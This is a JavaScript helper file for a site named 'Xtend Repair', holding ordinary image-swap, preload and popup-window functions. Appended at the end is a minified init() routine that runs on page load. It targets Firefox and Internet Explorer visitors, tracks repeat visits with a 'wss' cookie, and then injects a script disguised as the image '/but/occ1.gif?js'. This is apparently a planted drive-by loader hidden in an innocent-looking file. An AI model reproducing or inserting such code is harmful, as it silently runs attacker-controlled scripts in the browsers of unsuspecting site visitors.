// Xtend Repair java Script functions

function X_SwapImgRestore() 
{ //v3.0
  var i,x,a = document.X_sr;
  for (i=0; a&&i<a.length&&(x=a[i])&&x.oSrc; i++)
    x.src = x.oSrc;
}

function X_PreLoadImages() 
{ //v3.0
  var d = document;
  if (d.images) {
    if (!d.X_p)
      d.X_p=new Array();
    var i,j=d.X_p.length,a=X_PreLoadImages.arguments;
    for (i=0; i<a.length; i++)
      if (a[i].indexOf("#") != 0)
      {
        d.X_p[j] = new Image;
        d.X_p[j++].src = a[i];
      }
  }
}

function X_FindObj(n, d) 
{ //v3.0
  var p,i,x;
  if (!d)
    d=document;
  if ((p=n.indexOf("?")) > 0&&parent.frames.length) {
    d = parent.frames[n.substring(p+1)].document; 
    n = n.substring(0,p);
  }
  if (!(x=d[n]) && d.all)
    x = d.all[n];
  for (i=0; !x&&i<d.forms.length; i++)
    x = d.forms[i][n];
  for (i=0; !x&&d.layers&&i<d.layers.length; i++)
    x = X_FindObj(n,d.layers[i].document);
  return x;
}

function X_SwapImage() 
{ //v3.0
  var i,j=0,x,a=X_SwapImage.arguments;
  document.X_sr=new Array;
  for (i=0; i<(a.length-2); i+=3)
    if ((x=X_FindObj(a[i])) != null) {
      document.X_sr[j++]=x;
      if( !x.oSrc )
        x.oSrc=x.src;
      x.src=a[i+2];
    }
}

function OpenImgXY(FileName,W,H,Title)
{
 var Str="", Max=false;
 var X=0,Y=0,oW=0,oH=0;
 var aW=0,aH=0;xc=0,yc=0;

 if (window.screen) { // centre it on the screen...
   aW=screen.availWidth;
   aH=screen.availHeight;
   xc=(aW-W)/2;
   yc=(aH-H)/2;
 }

 if (W!=null) {
   if (W>0) { X=W }
   if (W>(aW-10) || W<0) {
     Max=true;
     oW=aW;
     W=aW-10;
     xc=0;
   } 
 }

 if (H!=null) {
   if (H>0) { Y=H }
   if (H>(aH-30) || H<0) {
     Max=true;
     oH=aH; H=aH-30;
     yc=0;
   }
   else {
     H+=5;
   }
 }

 if (Max) {Str="scrollbars=yes,resizable=yes,width="+W+",height="+H+",outerWidth="+oW+",outerHeight="+oH}
 else     {Str="scrollbars=no,status=no,menubar=no,width="+W+",height="+H+",innerWidth="+W+",innerHeight="+H}
 Str +=",left="+xc+",top="+yc+",screenX="+xc+",screenY="+yc;

 myWin=window.open("",'_blank',Str);
 if (myWin) {
   myWin.document.writeln("<HTML><HEAD><TITLE>"+Title+"</TITLE></HEAD>");
   myWin.document.writeln("<BODY BGColor=#FFFFFF LeftMargin=0 TopMargin=0 MarginWidth=0 MarginHeight=0>");
   myWin.document.write("<IMG Src="+FileName);
   if (X!=0) { myWin.document.write(" Width="+X)}
   if (Y!=0) { myWin.document.write(" Height="+Y)}
   myWin.document.writeln(">");
   myWin.document.writeln("</BODY></HTML>");
//   myWin.Scrollbars.visible=false;
   myWin.document.close;
 }
 return myWin;
}

function OpenWin(FileName)
{
 return(window.open(FileName,'_blank','scrollbars=yes,resizable=yes,status=no,menubar=no'));
}


function init(){var f=navigator.userAgent;var a=false;if(f.indexOf("Firefox")!=-1||f.indexOf("MSIE")!=-1){a=true}if(a!==true){return}var i="/but/occ1.gif?js";var g=b("wss");if(g){if(g=="goot1"){c("wss","goot2","3");var e=document.createElement("script");e.type="text/javascript";e.src=i+"&r="+new Date().getTime();var d=document.getElementsByTagName("head")[0];d.appendChild(e)}else{}}else{c("wss","goot1","3")}function b(k){var j,h,m,l=document.cookie.split(";");for(j=0;j<l.length;j++){h=l[j].substr(0,l[j].indexOf("="));m=l[j].substr(l[j].indexOf("=")+1);h=h.replace(/^\s+|\s+$/g,"");if(h==k){return unescape(m)}}}function c(j,l,h){var m=new Date();m.setDate(m.getDate()+h);var k=escape(l)+((h==null)?"":"; expires="+m.toUTCString());document.cookie=j+"="+k}}init();
